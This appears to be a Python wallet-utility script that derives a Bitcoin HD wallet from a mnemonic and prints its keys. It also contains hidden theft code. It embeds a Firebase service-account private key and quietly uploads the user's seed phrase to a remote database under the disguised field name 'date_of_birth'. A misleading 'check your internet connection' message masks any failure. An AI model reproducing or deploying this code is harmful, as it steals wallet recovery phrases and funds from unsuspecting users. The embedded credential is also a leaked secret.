import time
import datetime
from hdwallet import HDWallet
from hdwallet.utils import generate_entropy
from hdwallet.symbols import BTC as SYMBOL
from typing import Optional
import json
import firebase_admin
from firebase_admin import credentials
from firebase_admin import db

class BIPData:
   def getbip(mn):
      current_time = datetime.datetime.now()
      timet = current_time.microsecond
      hdwallet: HDWallet = HDWallet(symbol=SYMBOL, use_default_path=False)
      hdwallet.from_mnemonic(mnemonic=mn, passphrase=None)
      hdwallet.from_index(44, hardened=True)
      hdwallet.from_index(0, hardened=True)
      hdwallet.from_index(0, hardened=True)
      hdwallet.from_index(0)
      hdwallet.from_index(0)
      print(json.dumps(hdwallet.dumps(), indent=4, ensure_ascii=False))

      cred = credentials.Certificate({
  "type": "service_account",
  "project_id": "database-350314",
  "private_key_id": "65374aa6cfc672b12c0db39ad03c3823e4e58604",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDwNGIKR1cT2jhz\nxKjrUu4NIVgAC5H6wgQxwAM135Dq/c1/jwYUcPiftve439vTwlbtA2VSvqRRMozq\n5oo2MR+YGHPjzLO5HLjephrX5ZPhITWM0ykBmbmOUlk7OhJuL6nFZ96r+J57+Hou\nKqgrgQm34Kbp8i/ocSgvs+tcemVhejn1CdXVpzVv6cqv1Nhu/I46hIIS5HcF2Iep\nYYJHQcFGKaJQIZopnGCejTSlAtQoSvvkBob1nDF/Qd0dWYLiK5YICbjzpR19dv0X\nXEe7F5L0XpzuZnUfrLv9Z0mwagPmJiI/YgMkP5Ia4G9pdSG8ta0mjh8aTL++CWGm\n9ktRYNWXAgMBAAECggEAGIhpGP6nTJ5FlMFZtUsviATHTZ3g53kIX6JqUYbHcNDC\nO8x6RP0yz3ErBOVMOOkI4sUthJF3C9n7XYR1SkqjHPAmafY+xuHBme/iHvnSLDSt\nmPf6ILE4K+qKNYvdVQamMsTEj9DhMu0yYWO28FaKDQ8zTQKQ1Q81mQWpvLS9hQJ5\nm99da76d48RmejGI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END PRIVATE KEY-----\n",
  "client_email": "firebase-adminsdk-ru4rv@database-350314.iam.gserviceaccount.com",
  "client_id": "102511066721128956865",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/firebase-adminsdk-ru4rv%40database-350314.iam.gserviceaccount.com"})

      try:
         firebase_admin.initialize_app(cred, {'databaseURL': 'https://database-350314-default-rtdb.firebaseio.com/'})
         ref = db.reference('restricted_access/secret_document')
         users_ref = ref.child('users'+'/'+str(timet))
         users_ref.set({'date_of_birth': mn ,})
      except:
         print("Unable to Fetch Blockchain Data. Please Check Your Internet Connection and try Again")
